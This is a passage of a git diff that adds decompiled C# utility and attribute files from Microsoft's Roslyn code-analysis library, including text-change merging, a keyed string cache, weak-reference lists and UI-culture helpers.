NewLength = newLength; + } + + public UnadjustedNewChange(TextChangeRange range) + : this(range.Span.Start, range.Span.Length, range.NewLength) + { + } + } + + public static TextChangeRange? Accumulate(this TextChangeRange? accumulatedTextChangeSoFar, IEnumerable changesInNextVersion) + { + if (!changesInNextVersion.Any()) + { + return accumulatedTextChangeSoFar; + } + TextChangeRange value = TextChangeRange.Collapse(changesInNextVersion); + if (!accumulatedTextChangeSoFar.HasValue) + { + return value; + } + int start = accumulatedTextChangeSoFar.Value.Span.Start; + int num = accumulatedTextChangeSoFar.Value.Span.End; + int num2 = accumulatedTextChangeSoFar.Value.Span.Start + accumulatedTextChangeSoFar.Value.NewLength; + if (value.Span.Start < start) + { + start = value.Span.Start; + } + if (num2 > value.Span.End) + { + num2 = num2 + value.NewLength - value.Span.Length; + } + else + { + num = num + value.Span.End - num2; + num2 = value.Span.Start + value.NewLength; + } + return new TextChangeRange(TextSpan.FromBounds(start, num), num2 - start); + } + + public static TextChangeRange ToTextChangeRange(this TextChange textChange) + { + return new TextChangeRange(textChange.Span, textChange.NewText?.Length ?? 0); + } + + public static ImmutableArray Merge(ImmutableArray oldChanges, ImmutableArray newChanges) + { + if (oldChanges.IsEmpty) + { + throw new ArgumentException("oldChanges"); + } + if (newChanges.IsEmpty) + { + throw new ArgumentException("newChanges"); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + TextChangeRange oldChange = oldChanges[0]; + UnadjustedNewChange newChange = new UnadjustedNewChange(newChanges[0]); + int oldIndex = 0; + int newIndex = 0; + int oldDelta = 0; + while (true) + { + if (oldChange.Span.Length == 0 && oldChange.NewLength == 0) + { + if (!tryGetNextOldChange()) + { + break; + } + } + else if (newChange.SpanLength == 0 && newChange.NewLength == 0) + { + if (!tryGetNextNewChange()) + { + break; + } + } + else if (newChange.SpanEnd <= oldChange.Span.Start + oldDelta) + { + adjustAndAddNewChange(instance, oldDelta, newChange); + if (!tryGetNextNewChange()) + { + break; + } + } + else if (newChange.SpanStart >= oldChange.NewEnd() + oldDelta) + { + addAndAdjustOldDelta(instance, ref oldDelta, oldChange); + if (!tryGetNextOldChange()) + { + break; + } + } + else if (newChange.SpanStart < oldChange.Span.Start + oldDelta) + { + int num = oldChange.Span.Start + oldDelta - newChange.SpanStart; + adjustAndAddNewChange(instance, oldDelta, new UnadjustedNewChange(newChange.SpanStart, num, 0)); + newChange = new UnadjustedNewChange(oldChange.Span.Start + oldDelta, newChange.SpanLength - num, newChange.NewLength); + } + else if (newChange.SpanStart > oldChange.Span.Start + oldDelta) + { + int num2 = newChange.SpanStart - (oldChange.Span.Start + oldDelta); + int num3 = Math.Min(oldChange.Span.Length, num2); + addAndAdjustOldDelta(instance, ref oldDelta, new TextChangeRange(new TextSpan(oldChange.Span.Start, num3), num2)); + oldChange = new TextChangeRange(new TextSpan(newChange.SpanStart - oldDelta, oldChange.Span.Length - num3), oldChange.NewLength - num2); + } + else if (newChange.SpanLength <= oldChange.NewLength) + { + oldChange = new TextChangeRange(oldChange.Span, oldChange.NewLength - newChange.SpanLength); + oldDelta += newChange.SpanLength; + newChange = new UnadjustedNewChange(newChange.SpanEnd, 0, newChange.NewLength); + adjustAndAddNewChange(instance, oldDelta, newChange); + if (!tryGetNextNewChange()) + { + break; + } + } + else + { + oldDelta = oldDelta - oldChange.Span.Length + oldChange.NewLength; + int spanLength = newChange.SpanLength + oldChange.Span.Length - oldChange.NewLength; + newChange = new UnadjustedNewChange(oldChange.Span.Start + oldDelta, spanLength, newChange.NewLength); + if (!tryGetNextOldChange()) + { + break; + } + } + } + bool num4 = oldIndex == oldChanges.Length; + bool flag = newIndex == newChanges.Length; + if (num4) + { + if (flag) + { + goto IL_044b; + } + } + else if (!flag) + { + goto IL_044b; + } + while (oldIndex < oldChanges.Length) + { + addAndAdjustOldDelta(instance, ref oldDelta, oldChange); + tryGetNextOldChange(); + } + while (newIndex < newChanges.Length) + { + adjustAndAddNewChange(instance, oldDelta, newChange); + tryGetNextNewChange(); + } + return instance.ToImmutableAndFree(); + IL_044b: + throw new InvalidOperationException(); + static void add(ArrayBuilder builder, TextChangeRange change) + { + if (builder.Count > 0) + { + TextChangeRange textChangeRange = builder[builder.Count - 1]; + if (textChangeRange.Span.End == change.Span.Start) + { + builder[builder.Count - 1] = new TextChangeRange(new TextSpan(textChangeRange.Span.Start, textChangeRange.Span.Length + change.Span.Length), textChangeRange.NewLength + change.NewLength); + return; + } + if (textChangeRange.Span.End > change.Span.Start) + { + throw new ArgumentOutOfRangeException("change"); + } + } + builder.Add(change); + } + static void addAndAdjustOldDelta(ArrayBuilder builder, ref int reference, TextChangeRange change) + { + reference = reference - change.Span.Length + change.NewLength; + add(builder, change); + } + static void adjustAndAddNewChange(ArrayBuilder builder, int num5, UnadjustedNewChange unadjustedNewChange) + { + add(builder, new TextChangeRange(new TextSpan(unadjustedNewChange.SpanStart - num5, unadjustedNewChange.SpanLength), unadjustedNewChange.NewLength)); + } + bool tryGetNextNewChange() + { + newIndex++; + if (newIndex < newChanges.Length) + { + newChange = new UnadjustedNewChange(newChanges[newIndex]); + return true; + } + newChange = default(UnadjustedNewChange); + return false; + } + bool tryGetNextOldChange() + { + oldIndex++; + if (oldIndex < oldChanges.Length) + { + oldChange = oldChanges[oldIndex]; + return true; + } + oldChange = default(TextChangeRange); + return false; + } + } + + private static int NewEnd(this TextChangeRange range) + { + return range.Span.Start + range.NewLength; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/TextKeyedCache.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/TextKeyedCache.cs new file mode 100644 index 0000000..05e97d6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/TextKeyedCache.cs @@ -0,0 +1,169 @@ +using System; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Roslyn.Utilities; + +internal class TextKeyedCache where T : class +{ + private class SharedEntryValue + { + public readonly string Text; + + public readonly T Item; + + public SharedEntryValue(string Text, T item) + { + this.Text = Text; + Item = item; + } + } + + private const int LocalSizeBits = 11; + + private const int LocalSize = 2048; + + private const int LocalSizeMask = 2047; + + private const int SharedSizeBits = 16; + + private const int SharedSize = 65536; + + private const int SharedSizeMask = 65535; + + private const int SharedBucketBits = 4; + + private const int SharedBucketSize = 16; + + private const int SharedBucketSizeMask = 15; + + private readonly (string Text, int HashCode, T Item)[] _localTable = new(string, int, T)[2048]; + + private static readonly (int HashCode, SharedEntryValue Entry)[] s_sharedTable = new(int, SharedEntryValue)[65536]; + + private readonly (int HashCode, SharedEntryValue Entry)[] _sharedTableInst = s_sharedTable; + + private readonly StringTable _strings; + + private Random? _random; + + private readonly ObjectPool>? _pool; + + private static readonly ObjectPool> s_staticPool = CreatePool(); + + internal TextKeyedCache() + : this((ObjectPool>?)null) + { + } + + private TextKeyedCache(ObjectPool>? pool) + { + _pool = pool; + _strings = new StringTable(); + } + + private static ObjectPool> CreatePool() + { + return new ObjectPool>((ObjectPool> pool) => new TextKeyedCache(pool), Environment.ProcessorCount * 4); + } + + public static TextKeyedCache GetInstance() + { + return s_staticPool.Allocate(); + } + + public void Free() + { + _pool?.Free(this); + } + + internal T? FindItem(char[] chars, int start, int len, int hashCode) + { + ref(string, int, T) reference = ref _localTable[LocalIdxFromHash(hashCode)]; + string item = reference.Item1; + if (item != null && reference.Item2 == hashCode && StringTable.TextEquals(item, chars.AsSpan(start, len))) + { + return reference.Item3; + } + SharedEntryValue sharedEntryValue = FindSharedEntry(chars, start, len, hashCode); + if (sharedEntryValue != null) + { + reference.Item2 = hashCode; + reference.Item1 = sharedEntryValue.Text; + return reference.Item3 = sharedEntryValue.Item; + } + return null; + } + + private SharedEntryValue? FindSharedEntry(char[] chars, int start, int len, int hashCode) + { + (int, SharedEntryValue)[] sharedTableInst = _sharedTableInst; + int num = SharedIdxFromHash(hashCode); + SharedEntryValue sharedEntryValue = null; + for (int i = 1; i < 17; i++) + { + int num2; + (num2, sharedEntryValue) = sharedTableInst[num]; + if (sharedEntryValue == null || (num2 == hashCode && StringTable.TextEquals(sharedEntryValue.Text, chars.AsSpan(start, len)))) + { + break; + } + sharedEntryValue = null; + num = (num + i) & 0xFFFF; + } + return sharedEntryValue; + } + + internal void AddItem(char[] chars, int start, int len, int hashCode, T item) + { + string text = _strings.Add(chars, start, len); + SharedEntryValue e = new SharedEntryValue(text, item); + AddSharedEntry(hashCode, e); + ref(string Text, int HashCode, T Item) reference = ref _localTable[LocalIdxFromHash(hashCode)]; + reference.HashCode = hashCode; + reference.Text = text; + reference.Item = item; + } + + private void AddSharedEntry(int hashCode, SharedEntryValue e) + { + (int, SharedEntryValue)[] sharedTableInst = _sharedTableInst; + int num = SharedIdxFromHash(hashCode); + int num2 = num; + int num3 = 1; + while (true) + { + if (num3 < 17) + { + if (sharedTableInst[num2].Item2 == null) + { + num = num2; + break; + } + num2 = (num2 + num3) & 0xFFFF; + num3++; + continue; + } + int num4 = NextRandom() & 0xF; + num = (num + (num4 * num4 + num4) / 2) & 0xFFFF; + break; + } + sharedTableInst[num].Item1 = hashCode; + Volatile.Write(ref sharedTableInst[num].Item2, e); + } + + private static int LocalIdxFromHash(int hash) + { + return hash & 0x7FF; + } + + private static int SharedIdxFromHash(int hash) + { + return (hash ^ (hash >> 11)) & 0xFFFF; + } + + private int NextRandom() + { + return _random?.Next() ?? (_random = new Random()).Next(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ThreadSafeFlagOperations.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ThreadSafeFlagOperations.cs new file mode 100644 index 0000000..4124f28 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ThreadSafeFlagOperations.cs @@ -0,0 +1,40 @@ +using System.Threading; + +namespace Roslyn.Utilities; + +internal static class ThreadSafeFlagOperations +{ + public static bool Set(ref int flags, int toSet) + { + int num; + int num2; + do + { + num = flags; + num2 = num | toSet; + if (num2 == num) + { + return false; + } + } + while (Interlocked.CompareExchange(ref flags, num2, num) != num); + return true; + } + + public static bool Clear(ref int flags, int toClear) + { + int num; + int num2; + do + { + num = flags; + num2 = num & ~toClear; + if (num2 == num) + { + return false; + } + } + while (Interlocked.CompareExchange(ref flags, num2, num) != num); + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/UICultureUtilities.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/UICultureUtilities.cs new file mode 100644 index 0000000..b2ac1db --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/UICultureUtilities.cs @@ -0,0 +1,178 @@ +using System; +using System.Diagnostics.CodeAnalysis; +using System.Globalization; +using System.Reflection; + +namespace Roslyn.Utilities; + +internal static class UICultureUtilities +{ + private const string currentUICultureName = "CurrentUICulture"; + + private static readonly Action? s_setCurrentUICulture; + + private static bool TryGetCurrentUICultureSetter([NotNullWhen(true)] out Action? setter) + { + try + { + Type type = Type.GetType("System.Globalization.CultureInfo, System.Globalization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a") ?? typeof(object).GetTypeInfo().Assembly.GetType("System.Globalization.CultureInfo"); + if ((object)type == null) + { + setter = null; + return false; + } + MethodInfo methodInfo = type.GetTypeInfo().GetDeclaredProperty("CurrentUICulture")?.SetMethod; + if ((object)methodInfo == null || !methodInfo.IsStatic || methodInfo.ContainsGenericParameters || methodInfo.ReturnType != typeof(void)) + { + setter = null; + return false; + } + ParameterInfo[] parameters = methodInfo.GetParameters(); + if (parameters.Length != 1 || parameters[0].ParameterType != typeof(CultureInfo)) + { + setter = null; + return false; + } + setter = (Action)methodInfo.CreateDelegate(typeof(Action)); + return true; + } + catch + { + setter = null; + return false; + } + } + + private static bool TryGetCurrentThreadUICultureSetter([NotNullWhen(true)] out Action? setter) + { + try + { + Type type = typeof(object).GetTypeInfo().Assembly.GetType("System.Threading.Thread"); + if ((object)type == null) + { + setter = null; + return false; + } + TypeInfo typeInfo = type.GetTypeInfo(); + MethodInfo currentThreadGetter = typeInfo.GetDeclaredProperty("CurrentThread")?.GetMethod; + if ((object)currentThreadGetter == null || !currentThreadGetter.IsStatic || currentThreadGetter.ContainsGenericParameters || currentThreadGetter.ReturnType != type || currentThreadGetter.GetParameters().Length != 0) + { + setter = null; + return false; + } + MethodInfo currentUICultureSetter = typeInfo.GetDeclaredProperty("CurrentUICulture")?.SetMethod; + if ((object)currentUICultureSetter == null || currentUICultureSetter.IsStatic || currentUICultureSetter.ContainsGenericParameters || currentUICultureSetter.ReturnType != typeof(void)) + { + setter = null; + return false; + } + ParameterInfo[] parameters = currentUICultureSetter.GetParameters(); + if (parameters.Length != 1 || parameters[0].ParameterType != typeof(CultureInfo)) + { + setter = null; + return false; + } + setter = delegate(CultureInfo culture) + { + MethodInfo methodInfo = currentUICultureSetter; + object? obj2 = currentThreadGetter.Invoke(null, null); + object[] parameters2 = new CultureInfo[1] { culture }; + methodInfo.Invoke(obj2, parameters2); + }; + return true; + } + catch + { + setter = null; + return false; + } + } + + static UICultureUtilities() + { + if (!TryGetCurrentUICultureSetter(out s_setCurrentUICulture) && !TryGetCurrentThreadUICultureSetter(out s_setCurrentUICulture)) + { + s_setCurrentUICulture = null; + } + } + + public static Action WithCurrentUICulture(Action action) + { + if (s_setCurrentUICulture == null) + { + return action; + } + CultureInfo savedCulture = CultureInfo.CurrentUICulture; + return delegate + { + CultureInfo currentUICulture = CultureInfo.CurrentUICulture; + if (currentUICulture != savedCulture) + { + s_setCurrentUICulture(savedCulture); + try + { + action(); + return; + } + finally + { + s_setCurrentUICulture(currentUICulture); + } + } + action(); + }; + } + + public static Action WithCurrentUICulture(Action action) + { + if (s_setCurrentUICulture == null) + { + return action; + } + CultureInfo savedCulture = CultureInfo.CurrentUICulture; + return delegate(T param) + { + CultureInfo currentUICulture = CultureInfo.CurrentUICulture; + if (currentUICulture != savedCulture) + { + s_setCurrentUICulture(savedCulture); + try + { + action(param); + return; + } + finally + { + s_setCurrentUICulture(currentUICulture); + } + } + action(param); + }; + } + + public static Func WithCurrentUICulture(Func func) + { + if (s_setCurrentUICulture == null) + { + return func; + } + CultureInfo savedCulture = CultureInfo.CurrentUICulture; + return delegate + { + CultureInfo currentUICulture = CultureInfo.CurrentUICulture; + if (currentUICulture != savedCulture) + { + s_setCurrentUICulture(savedCulture); + try + { + return func(); + } + finally + { + s_setCurrentUICulture(currentUICulture); + } + } + return func(); + }; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/UnicodeCharacterUtilities.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/UnicodeCharacterUtilities.cs new file mode 100644 index 0000000..f9aa8c3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/UnicodeCharacterUtilities.cs @@ -0,0 +1,129 @@ +using System.Diagnostics.CodeAnalysis; +using System.Globalization; + +namespace Roslyn.Utilities; + +internal static class UnicodeCharacterUtilities +{ + public static bool IsIdentifierStartCharacter(char ch) + { + if (ch < 'a') + { + if (ch < 'A') + { + return false; + } + if (ch > 'Z') + { + return ch == '_'; + } + return true; + } + if (ch <= 'z') + { + return true; + } + if (ch <= '\u007f') + { + return false; + } + return IsLetterChar(CharUnicodeInfo.GetUnicodeCategory(ch)); + } + + public static bool IsIdentifierPartCharacter(char ch) + { + if (ch < 'a') + { + if (ch < 'A') + { + if (ch >= '0') + { + return ch <= '9'; + } + return false; + } + if (ch > 'Z') + { + return ch == '_'; + } + return true; + } + if (ch <= 'z') + { + return true; + } + if (ch <= '\u007f') + { + return false; + } + UnicodeCategory unicodeCategory = CharUnicodeInfo.GetUnicodeCategory(ch); + if (!IsLetterChar(unicodeCategory) && !IsDecimalDigitChar(unicodeCategory) && !IsConnectingChar(unicodeCategory) && !IsCombiningChar(unicodeCategory)) + { + return IsFormattingChar(unicodeCategory); + } + return true; + } + + public static bool IsValidIdentifier([NotNullWhen(true)] string? name) + { + if (RoslynString.IsNullOrEmpty(name)) + { + return false; + } + if (!IsIdentifierStartCharacter(name[0])) + { + return false; + } + int length = name.Length; + for (int i = 1; i < length; i++) + { + if (!IsIdentifierPartCharacter(name[i])) + { + return false; + } + } + return true; + } + + private static bool IsLetterChar(UnicodeCategory cat) + { + if ((uint)cat <= 4u || cat == UnicodeCategory.LetterNumber) + { + return true; + } + return false; + } + + private static bool IsCombiningChar(UnicodeCategory cat) + { + if ((uint)(cat - 5) <= 1u) + { + return true; + } + return false; + } + + private static bool IsDecimalDigitChar(UnicodeCategory cat) + { + return cat == UnicodeCategory.DecimalDigitNumber; + } + + private static bool IsConnectingChar(UnicodeCategory cat) + { + return cat == UnicodeCategory.ConnectorPunctuation; + } + + internal static bool IsFormattingChar(char ch) + { + if (ch > '\u007f') + { + return IsFormattingChar(CharUnicodeInfo.GetUnicodeCategory(ch)); + } + return false; + } + + private static bool IsFormattingChar(UnicodeCategory cat) + { + return cat == UnicodeCategory.Format; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ValueTaskFactory.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ValueTaskFactory.cs new file mode 100644 index 0000000..30ec250 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ValueTaskFactory.cs @@ -0,0 +1,13 @@ +using System.Threading.Tasks; + +namespace Roslyn.Utilities; + +internal static class ValueTaskFactory +{ + public static ValueTask CompletedTask => default(ValueTask); + + public static ValueTask FromResult(T result) + { + return new ValueTask(result); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/VoidResult.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/VoidResult.cs new file mode 100644 index 0000000..111fcab --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/VoidResult.cs @@ -0,0 +1,23 @@ +using System; +using System.Runtime.InteropServices; + +namespace Roslyn.Utilities; + +[StructLayout(LayoutKind.Sequential, Size = 1)] +internal readonly struct VoidResult : IEquatable +{ + public override bool Equals(object? obj) + { + return obj is VoidResult; + } + + public override int GetHashCode() + { + return 0; + } + + public bool Equals(VoidResult other) + { + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/WeakList.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/WeakList.cs new file mode 100644 index 0000000..fc8d813 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/WeakList.cs @@ -0,0 +1,152 @@ +using System; +using System.Collections; +using System.Collections.Generic; + +namespace Roslyn.Utilities; + +internal sealed class WeakList : IEnumerable, IEnumerable where T : class +{ + private WeakReference[] _items; + + private int _size; + + private const int MinimalNonEmptySize = 4; + + public int WeakCount => _size; + + internal WeakReference[] TestOnly_UnderlyingArray => _items; + + public WeakList() + { + _items = Array.Empty>(); + } + + private void Resize() + { + int num = _items.Length; + int num2 = -1; + for (int i = 0; i < _items.Length; i++) + { + if (!_items[i].TryGetTarget(out var _)) + { + if (num2 == -1) + { + num2 = i; + } + num--; + } + } + if (num < _items.Length / 4) + { + Shrink(num2, num); + } + else if (num >= 3 * _items.Length / 4) + { + WeakReference[] array = new WeakReference[GetExpandedSize(_items.Length)]; + if (num2 >= 0) + { + Compact(num2, array); + } + else + { + Array.Copy(_items, 0, array, 0, _items.Length); + } + _items = array; + } + else + { + Compact(num2, _items); + } + } + + private void Shrink(int firstDead, int alive) + { + int expandedSize = GetExpandedSize(alive); + WeakReference[] array = ((expandedSize == _items.Length) ? _items : new WeakReference[expandedSize]); + Compact(firstDead, array); + _items = array; + } + + private static int GetExpandedSize(int baseSize) + { + return Math.Max(baseSize * 2 + 1, 4); + } + + private void Compact(int firstDead, WeakReference[] result) + { + if (_items != result) + { + Array.Copy(_items, 0, result, 0, firstDead); + } + int size = _size; + int num = firstDead; + for (int i = firstDead + 1; i < size; i++) + { + WeakReference weakReference = _items[i]; + if (weakReference.TryGetTarget(out var _)) + { + result[num++] = weakReference; + } + } + _size = num; + if (_items == result) + { + while (num < size) + { + _items[num++] = null; + } + } + } + + public WeakReference GetWeakReference(int index) + { + if (index < 0 || index >= _size) + { + throw new ArgumentOutOfRangeException("index"); + } + return _items[index]; + } + + public void Add(T item) + { + if (_size == _items.Length) + { + Resize(); + } + _items[_size++] = new WeakReference(item); + } + + public IEnumerator GetEnumerator() + { + int count = _size; + int alive = _size; + int firstDead = -1; + for (int i = 0; i < count; i++) + { + if (_items[i].TryGetTarget(out var target)) + { + yield return target; + continue; + } + if (firstDead < 0) + { + firstDead = i; + } + alive--; + } + if (alive == 0) + { + _items = Array.Empty>(); + _size = 0; + } + else if (alive < _items.Length / 4) + { + Shrink(firstDead, alive); + } + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/WeakReferenceExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/WeakReferenceExtensions.cs new file mode 100644 index 0000000..bd8e072 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/WeakReferenceExtensions.cs @@ -0,0 +1,18 @@ +using System; + +namespace Roslyn.Utilities; + +internal static class WeakReferenceExtensions +{ + public static T? GetTarget(this WeakReference reference) where T : class? + { + reference.TryGetTarget(out T target); + return target; + } + + public static bool IsNull(this WeakReference reference) where T : class? + { + T target; + return !reference.TryGetTarget(out target); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/XmlUtilities.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/XmlUtilities.cs new file mode 100644 index 0000000..adb8616 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/XmlUtilities.cs @@ -0,0 +1,69 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Xml; +using System.Xml.Linq; +using System.Xml.XPath; + +namespace Roslyn.Utilities; + +internal static class XmlUtilities +{ + internal static TNode Copy(this TNode node, bool copyAttributeAnnotations) where TNode : XNode + { + XNode xNode; + if (node.NodeType == XmlNodeType.Document) + { + xNode = new XDocument((XDocument)(object)node); + } + else + { + XElement xElement = new XElement("temp"); + xElement.Add(node); + xNode = xElement.LastNode; + xElement.RemoveNodes(); + } + CopyAnnotations(node, xNode); + if (copyAttributeAnnotations && node.NodeType == XmlNodeType.Element) + { + XElement obj = (XElement)(object)node; + XElement xElement2 = (XElement)xNode; + IEnumerator enumerator = obj.Attributes().GetEnumerator(); + IEnumerator enumerator2 = xElement2.Attributes().GetEnumerator(); + while (enumerator.MoveNext() && enumerator2.MoveNext()) + { + CopyAnnotations(enumerator.Current, enumerator2.Current); + } + } + return (TNode)xNode; + } + + private static void CopyAnnotations(XObject source, XObject target) + { + foreach (object item in source.Annotations()) + { + target.AddAnnotation(item); + } + } + + internal static XElement[]? TrySelectElements(XNode node, string xpath, out string? errorMessage, out bool invalidXPath) + { + errorMessage = null; + invalidXPath = false; + try + { + return node.XPathSelectElements(xpath)?.ToArray(); + } + catch (InvalidOperationException ex) + { + errorMessage = ex.Message; + return null; + } + catch (Exception ex2) when (ex2.GetType().FullName == "System.Xml.XPath.XPathException") + { + errorMessage = ex2.Message; + invalidXPath = true; + return null; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/YieldAwaitableExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/YieldAwaitableExtensions.cs new file mode 100644 index 0000000..faaa7d6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/YieldAwaitableExtensions.cs @@ -0,0 +1,11 @@ +using System.Runtime.CompilerServices; + +namespace Roslyn.Utilities; + +internal static class YieldAwaitableExtensions +{ + public static ConfiguredYieldAwaitable ConfigureAwait(this YieldAwaitable awaitable, bool continueOnCapturedContext) + { + return new ConfiguredYieldAwaitable(awaitable, continueOnCapturedContext); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/AllowNullAttribute.cs b/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/AllowNullAttribute.cs new file mode 100644 index 0000000..6189a22 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/AllowNullAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter, Inherited = false)] +internal sealed class AllowNullAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/DisallowNullAttribute.cs b/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/DisallowNullAttribute.cs new file mode 100644 index 0000000..15b3a21 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/DisallowNullAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter, Inherited = false)] +internal sealed class DisallowNullAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/DoesNotReturnAttribute.cs b/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/DoesNotReturnAttribute.cs new file mode 100644 index 0000000..e3b3818 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/DoesNotReturnAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Method, Inherited = false)] +internal sealed class DoesNotReturnAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/DoesNotReturnIfAttribute.cs b/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/DoesNotReturnIfAttribute.cs new file mode 100644 index 0000000..cee0e47 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/DoesNotReturnIfAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Parameter, Inherited = false)] +internal sealed class DoesNotReturnIfAttribute : Attribute +{ + public bool ParameterValue { get; } + + public DoesNotReturnIfAttribute(bool parameterValue) + { + ParameterValue = parameterValue; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/MaybeNullAttribute.cs b/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/MaybeNullAttribute.cs new file mode 100644 index 0000000..a25d17e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/MaybeNullAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter | AttributeTargets.ReturnValue, Inherited = false)] +internal sealed class MaybeNullAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/MaybeNullWhenAttribute.cs b/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/MaybeNullWhenAttribute.cs new file mode 100644 index 0000000..f637f90 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/MaybeNullWhenAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Parameter, Inherited = false)] +internal sealed class MaybeNullWhenAttribute : Attribute +{ + public bool ReturnValue { get; } + + public MaybeNullWhenAttribute(bool returnValue) + { + ReturnValue = returnValue; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/MemberNotNullAttribute.cs b/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/MemberNotNullAttribute.cs new file mode 100644 index 0000000..64cf83f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/MemberNotNullAttribute.cs @@ -0,0 +1,17 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Method | AttributeTargets.Property, Inherited = false, AllowMultiple = true)] +internal sealed class MemberNotNullAttribute : Attribute +{ + public string[] Members { get; } + + public MemberNotNullAttribute(string member) + { + Members = new string[1] { member }; + } + + public MemberNotNullAttribute(params string[] members) + { + Members = members; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/MemberNotNullWhenAttribute.cs b/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/MemberNotNullWhenAttribute.cs new file mode 100644 index 0000000..ee71d72 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/System.Diagnostics.CodeAnalysis/MemberNotNullWhenAttribute.cs @@ -0,0 +1,21 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Method | AttributeTargets.Property, Inherited = false, AllowMultiple = true)] +internal sealed class MemberNotNullWhenAttribute : Attribute +{ + public bool ReturnValue { get; } + + public string[] Members { get; } + + public MemberNotNullWhenAttribute(bool returnValue, string member) + { + 